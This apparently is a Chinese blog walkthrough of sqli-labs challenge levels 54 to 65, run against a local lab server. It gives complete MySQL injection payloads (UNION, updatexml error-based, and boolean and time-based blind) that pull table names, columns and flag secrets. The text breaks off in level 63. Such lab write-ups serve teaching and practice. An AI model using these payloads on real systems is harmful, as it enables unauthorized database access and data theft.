AD.WN

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE（54~65）

文章目录

1. SqliLab_Mysql_Injection详解_字符型注入(十四)

1.1. SQL注入_CHALLENGE
1.2. 挑战流程

2. SqliLab关卡（包含54,55,56,57,58,59,60,61,62,63,64,65）（图片占据空间太大，payload具体返回情况均写在每条payload下的注释中）

2.1. SqliLab-54（UNION联合查询（单引号闭合）（10次尝试））：

2.1.1. 初始界面
2.1.2. 判断注入点（关键步骤）
2.1.3. 使用UNION联合查询获取数据库信息

2.2. SqliLab-55（UNION联合查询（)闭合）（14次尝试））：

2.2.1. 初始界面
2.2.2. 判断注入点（关键步骤）
2.2.3. 使用UNION联合查询获取数据库信息

2.3. SqliLab-56（UNION联合查询（')闭合）（14次尝试））：

2.3.1. 初始界面
2.3.2. 判断注入点（关键步骤）
2.3.3. 使用UNION联合查询获取数据库信息

2.4. SqliLab-57（UNION联合查询（双引号闭合）（14次尝试））：

2.4.1. 初始界面
2.4.2. 判断注入点（关键步骤）
2.4.3. 使用UNION联合查询获取数据库信息

2.5. SqliLab-58（报错注入（单引号闭合）（5次尝试））：

2.5.1. 初始界面
2.5.2. 判断注入点（关键步骤）
2.5.3. 使用报错注入获取数据库信息

2.6. SqliLab-59（报错注入（无字符闭合）（5次尝试））：

2.6.1. 初始界面
2.6.2. 判断注入点（关键步骤）
2.6.3. 使用报错注入获取数据库信息

2.7. SqliLab-60（报错注入（")闭合）（5次尝试））：

2.7.1. 初始界面
2.7.2. 判断注入点（关键步骤）
2.7.3. 使用报错注入获取数据库信息

2.8. SqliLab-61（报错注入（'))闭合）（5次尝试））：

2.8.1. 初始界面
2.8.2. 判断注入点（关键步骤）
2.8.3. 使用报错注入获取数据库信息

2.9. SqliLab-62（布尔/时间盲注（')闭合）（130次尝试））：

2.9.1. 初始界面
2.9.2. 判断注入点（关键步骤）
2.9.3. 使用布尔盲注获取数据库信息.
2.9.4. 使用时间盲注获取数据库信息

2.10. SqliLab-63（布尔/时间盲注（单引号闭合）（130次尝试））：

2.10.1. 初始界面
2.10.2. 判断注入点（关键步骤）
2.10.3. 使用布尔盲注获取数据库信息
2.10.4. 使用时间盲注获取数据库信息

2.11. SqliLab-64（布尔/时间盲注（))闭合）（130次尝试））：

2.11.1. 初始界面
2.11.2. 判断注入点（关键步骤）
2.11.3. 使用布尔盲注获取数据库信息
2.11.4. 使用时间盲注获取数据库信息

2.12. SqliLab-65（布尔/时间盲注（")闭合）（130次尝试））：

2.12.1. 初始界面
2.12.2. 判断注入点（关键步骤）
2.12.3. 使用布尔盲注获取数据库信息
2.12.4. 使用时间盲注获取数据库信息

3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入(十四)

1.1. SQL注入_CHALLENGE

1.2. 挑战流程

使用SQL注入，获取当前数据库（challenges）中的随机表，中的flag信息（secret_****），并提交至服务器，服务器返回正确页面，挑战即为成功。

2. SqliLab关卡（包含54,55,56,57,58,59,60,61,62,63,64,65）（图片占据空间太大，payload具体返回情况均写在每条payload下的注释中）

2.1. SqliLab-54（UNION联合查询（单引号闭合）（10次尝试））：

2.1.1. 初始界面

2.1.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-54/?id=1 and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-54/?id=1 and 1=2 --+
//服务器返回页面正确（预期错误），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-54/?id=1' and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（'）;
//由于关卡有连接次数的限制，就不判断是否存在报错注入堆叠注入之类的了；

经过测试，判断出参数（id）存在注入，闭合字符为（’），同时服务器返回页面存在回显，考虑使用UNION联合查询获取数据库信息；

2.1.3. 使用UNION联合查询获取数据库信息

EG：

http://192.168.1.104/sql/Less-54/?id=1' order by 1,2,3 --+
//服务器返回页面正确，再次尝试；
http://192.168.1.104/sql/Less-54/?id=1' order by 1,2,3,4 --+
//服务器返回页面错误，判断字段数为（3）；
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为（challenges）,Mysql版本为（5.5.53），用户为（root@）；
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库（challenges）中存在的表有（yfvyz1gpk7）；
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='yfvyz1gpk7' --+
//服务器返回页面正确,同时查看到表（yfvyz1gpk7）中的字段值为（id,sessid,secret_FPR4,tryy）；
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(0x7c,secret_FPR4,0x7c),2 from yfvyz1gpk7 --+
//服务器返回页面正确,同时查看到表（yfvyz1gpk7）中的字段值（secret_FPR4）信息为（Wk5PKYpVY0U1XXAB97QhjFOn），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-54结束；

2.2. SqliLab-55（UNION联合查询（)闭合）（14次尝试））：

2.2.1. 初始界面

2.2.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-55/?id=1 and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-55/?id=1' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（"）代替（'）进行构造；
http://192.168.1.104/sql/Less-55/?id=1" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（)）代替（"）进行构造；
http://192.168.1.104/sql/Less-55/?id=1) and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（)）;
//由于关卡有连接次数的限制，就不判断是否存在报错注入堆叠注入之类的了；

经过测试，判断出参数（id）存在注入，闭合字符为（)），同时服务器返回页面存在回显，考虑使用UNION联合查询获取数据库信息；

2.2.3. 使用UNION联合查询获取数据库信息

EG：

http://192.168.1.104/sql/Less-55/?id=1) order by 1,2,3 --+
//服务器返回页面正确，再次尝试；
http://192.168.1.104/sql/Less-55/?id=1) order by 1,2,3,4 --+
//服务器返回页面错误，判断字段数为（3）；
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为（challenges）,Mysql版本为（5.5.53），用户为（root@）；
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库（challenges）中存在的表有（mfavyazp2n）；
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='mfavyazp2n' --+
//服务器返回页面正确,同时查看到表（mfavyazp2n）中的字段值为（id,sessid,secret_ZUCZ,tryy）；
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(0x7c,secret_ZUCZ,0x7c),2 from mfavyazp2n --+
//服务器返回页面正确,同时查看到表（mfavyazp2n）中的字段值（secret_ZUCZ）信息为（FOU9bH5p2crs779mx1oT91BS），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-55结束；

2.3. SqliLab-56（UNION联合查询（’)闭合）（14次尝试））：

2.3.1. 初始界面

2.3.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-56/?id=1 and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-56/?id=1 and 1=2 --+
//服务器返回页面正确（预期错误），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-56/?id=1' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（"）代替（'）进行构造；
http://192.168.1.104/sql/Less-56/?id=1" and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-56/?id=1" and 1=2 --+
//服务器返回页面正确（预期错误），尝试使用（)）代替（"）进行构造；
http://192.168.1.104/sql/Less-56/?id=1) and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-56/?id=1) and 1=2 --+
//服务器返回页面正确（预期错误），尝试使用（''）代替（)）进行构造；
http://192.168.1.104/sql/Less-56/?id=1'' and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-56/?id=1'' and 1=2 --+
//服务器返回页面正确（预期错误），尝试使用（'"）代替（''）进行构造；
http://192.168.1.104/sql/Less-56/?id=1'" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（')）代替（'"）进行构造；
http://192.168.1.104/sql/Less-56/?id=1') and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（')）;
//由于关卡有连接次数的限制，同时仅仅判断注入点就用了十二次，
//可以考虑判断服务器返回页面是否存在SQL语句报错提示，如果有,则能通关报错提示，快速的判断出闭合字符；
//本关不存在SQL语句报错提示；

经过测试，判断出参数（id）存在注入，闭合字符为（’)），同时服务器返回页面存在回显，考虑使用UNION联合查询获取数据库信息；

2.3.3. 使用UNION联合查询获取数据库信息

EG：

http://192.168.1.104/sql/Less-56/?id=1') order by 1,2,3 --+
//服务器返回页面正确，再次尝试；
http://192.168.1.104/sql/Less-56/?id=1') order by 1,2,3,4 --+
//服务器返回页面错误，判断字段数为（3）；
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为（challenges）,Mysql版本为（5.5.53），用户为（root@）；
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库（challenges）中存在的表有（k3kcp15rw4）；
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='k3kcp15rw4' --+
//服务器返回页面正确,同时查看到表（k3kcp15rw4）中的字段值为（id,sessid,secret_JE1C,tryy）；
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(0x7c,secret_JE1C,0x7c),2 from k3kcp15rw4 --+
//服务器返回页面正确,同时查看到表（k3kcp15rw4）中的字段值（secret_JE1C）信息为（FqJ3aXqQ05opci6E1816JZRP），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-56结束；

2.4. SqliLab-57（UNION联合查询（双引号闭合）（14次尝试））：

2.4.1. 初始界面

2.4.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-57/?id=1 and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-57/?id=1 and 1=2 --+
//服务器返回页面正确（预期错误），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-57/?id=1' and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-57/?id=1' and 1=2 --+
//服务器返回页面错误（预期正确），尝试使用（"）代替（'）进行构造；
http://192.168.1.104/sql/Less-57/?id=1" and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（"）;
//由于关卡有连接次数的限制，就不判断是否存在报错注入堆叠注入之类的了；

经过测试，判断出参数（id）存在注入，闭合字符为（"），同时服务器返回页面存在回显，考虑使用UNION联合查询获取数据库信息；

2.4.3. 使用UNION联合查询获取数据库信息

EG：

http://192.168.1.104/sql/Less-57/?id=1" order by 1,2,3 --+
//服务器返回页面正确，再次尝试；
http://192.168.1.104/sql/Less-57/?id=1" order by 1,2,3,4 --+
//服务器返回页面错误，判断字段数为（3）；
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为（challenges）,Mysql版本为（5.5.53），用户为（root@）；
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库（challenges）中存在的表有（hgt7rgbv18）；
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='hgt7rgbv18' --+
//服务器返回页面正确,同时查看到表（hgt7rgbv18）中的字段值为（id,sessid,secret_M6RW,tryy）；
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(0x7c,secret_M6RW,0x7c),2 from hgt7rgbv18 --+
//服务器返回页面正确,同时查看到表（hgt7rgbv18）中的字段值（secret_M6RW）信息为（oqpuqTvbqlsTV6Ab3HmZDgAU），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-57结束；

2.5. SqliLab-58（报错注入（单引号闭合）（5次尝试））：

2.5.1. 初始界面

2.5.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-58/?id=1'))) --+
//服务器返回页面错误，同时发现存在SQL语句报错提示;
//经过判断，存在SQL语句报错提示,同时判断出参数（id）存在注入，闭合字符为（'）；

经过测试，判断出参数（id）存在注入，闭合字符为（’），同时服务器返回页面存在SQL语句报错提示，考虑使用报错注入获取数据库信息；

2.5.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库中存在的表有（2yybbj6b2f）;
http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='2yybbj6b2f'),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（2yybbj6b2f）中的字段值为（id,sessid,secret_OGRO,tryy）；
http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(secret_OGRO) from 2yybbj6b2f),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（2yybbj6b2f）中的字段值（secret_OGRO）信息为（bUImrxM5Zbm2Sm3ljJ7p6YUK），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-58结束；

2.6. SqliLab-59（报错注入（无字符闭合）（5次尝试））：

2.6.1. 初始界面

2.6.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-59/?id=1'))) --+
//服务器返回页面错误，同时发现存在SQL语句报错提示;
//经过判断，存在SQL语句报错提示,同时判断出参数（id）存在注入，无闭合字符；

经过测试，判断出参数（id）存在注入，无闭合字符，同时服务器返回页面存在SQL语句报错提示，考虑使用报错注入获取数据库信息；

2.6.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库中存在的表有（zcedm2pfjd）;
http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='zcedm2pfjd'),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（zcedm2pfjd）中的字段值为（id,sessid,secret_JMJ9,tryy）；
http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(secret_JMJ9) from zcedm2pfjd),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（zcedm2pfjd）中的字段值（secret_JMJ9）信息为（LYu3SghxNb7J9X27PCmpFoDP），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-59结束；

2.7. SqliLab-60（报错注入（")闭合）（5次尝试））：

2.7.1. 初始界面

2.7.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-60/?id=1''")) --+
//服务器返回页面错误，同时发现存在SQL语句报错提示;
//经过判断，存在SQL语句报错提示,同时判断出参数（id）存在注入，闭合字符为（")）；

经过测试，判断出参数（id）存在注入，闭合字符为（")），同时服务器返回页面存在SQL语句报错提示，考虑使用报错注入获取数据库信息；

2.7.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库中存在的表有（xzywsv0ivp）;
http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='xzywsv0ivp'),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（xzywsv0ivp）中的字段值为（id,sessid,secret_5IVS,tryy）；
http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(secret_5IVS) from xzywsv0ivp),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（xzywsv0ivp）中的字段值（secret_5IVS）信息为（nuss6WrYSJvWnum8bOeEqKGA），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-60结束；

2.8. SqliLab-61（报错注入（’))闭合）（5次尝试））：

2.8.1. 初始界面

2.8.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-61/?id=1'")) --+
//服务器返回页面错误，同时发现存在SQL语句报错提示;
//经过判断，存在SQL语句报错提示,同时判断出参数（id）存在注入，闭合字符为（'))）；

经过测试，判断出参数（id）存在注入，闭合字符为（’))），同时服务器返回页面存在SQL语句报错提示，考虑使用报错注入获取数据库信息；

2.8.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库中存在的表有（ve4hzkwaps）;
http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ve4hzkwaps'),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（ve4hzkwaps）中的字段值为（id,sessid,secret_BFFJ,tryy）；
http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(secret_BFFJ) from ve4hzkwaps),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了表（ve4hzkwaps）中的字段值（secret_BFFJ）信息为（H1nfe2RsPZ518K3ZvXCVOvrG），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-61结束；

2.9. SqliLab-62（布尔/时间盲注（’)闭合）（130次尝试））：

2.9.1. 初始界面

2.9.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-62/?id=1 and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-62/?id=1' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（"）代替（'）进行构造；
http://192.168.1.104/sql/Less-62/?id=1" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（)）代替（"）进行构造；
http://192.168.1.104/sql/Less-62/?id=1) and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（''）代替（)）进行构造；
http://192.168.1.104/sql/Less-62/?id=1'' and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（'"）代替（''）进行构造；
http://192.168.1.104/sql/Less-62/?id=1'" and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用（')）代替（'"）进行构造；
http://192.168.1.104/sql/Less-62/?id=1') and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-62/?id=1') and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（')）;

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-62/?id=1'")) --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-62/?id=1'")) --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-62/?id=1') and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-62/?id=1') and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

经过测试，判断出参数（id）存在注入，闭合字符为（’)），同时服务器返回页面不存在回显和SQL语句报错提示，考虑使用布尔/时间盲注获取数据库信息；

2.9.3. 使用布尔盲注获取数据库信息.

EG：

http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为（wamm3ipwo4）；
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),11,1))%26256=256%20--+
//查询到表（wamm3ipwo4）中的第三个字段值为（secret_LJDF）；
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%26256=256%20--+
//查询到表（wamm3ipwo4）中的第三个字段值（secret_LJDF）信息为（eUGA4bKvDqeP2nxz0aTV6mtH），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

2.9.4. 使用时间盲注获取数据库信息

EG：

http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为（wamm3ipwo4）；
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表（wamm3ipwo4）中的第三个字段值为（secret_LJDF）；
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1,sleep(2),1)--+
//查询到表（wamm3ipwo4）中的第三个字段值（secret_LJDF）信息为（eUGA4bKvDqeP2nxz0aTV6mtH），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

至此，成功获取到flag信息并提交至服务器，服务器返回页面正确，挑战成功，SqliLab-62结束；

2.10. SqliLab-63（布尔/时间盲注（单引号闭合）（130次尝试））：

2.10.1. 初始界面

2.10.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-63/?id=1 and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-63/?id=1 and 1=2 --+
//服务器返回页面正确（预期错误），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-63/?id=1' and 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）进行构造；
http://192.168.1.104/sql/Less-63/?id=1' and 1=2 --+
//服务器返回页面错误（预期错误），判断出参数（id）存在注入，闭合字符为（'）;

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-63/?id=1'")) --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-63/?id=1'")) --+
//服务器返回页面错误，没有发现SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-63/?id=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-63/?id=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

经过测试，判断出参数（id）存在注入，闭合字符为（’），同时服务器返回页面不存在回显和SQL语句报错提示，考虑使用布尔/时间盲注获取数据库信息；

2.10.3. 使用布尔盲注获取数据库信息

EG：

http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为（xbfiaw943d）；
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),11,1))%26256=256%20--+
//查询到表（xbfiaw943d）中的第三个字段值为（secret_58BB）；
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%26256=256%20--+
//查询到表（xbfiaw943d）中的第三个字段值（secret_58BB）信息为（d3MjBfNPPIkKWoP7FWrqnH46），使用该信息提交至服务器，服务器返回页面正确，挑战成功；

2.10.4. 使用时间盲注获取数据库信息

EG：

http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为（xbfiaw943d）；
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
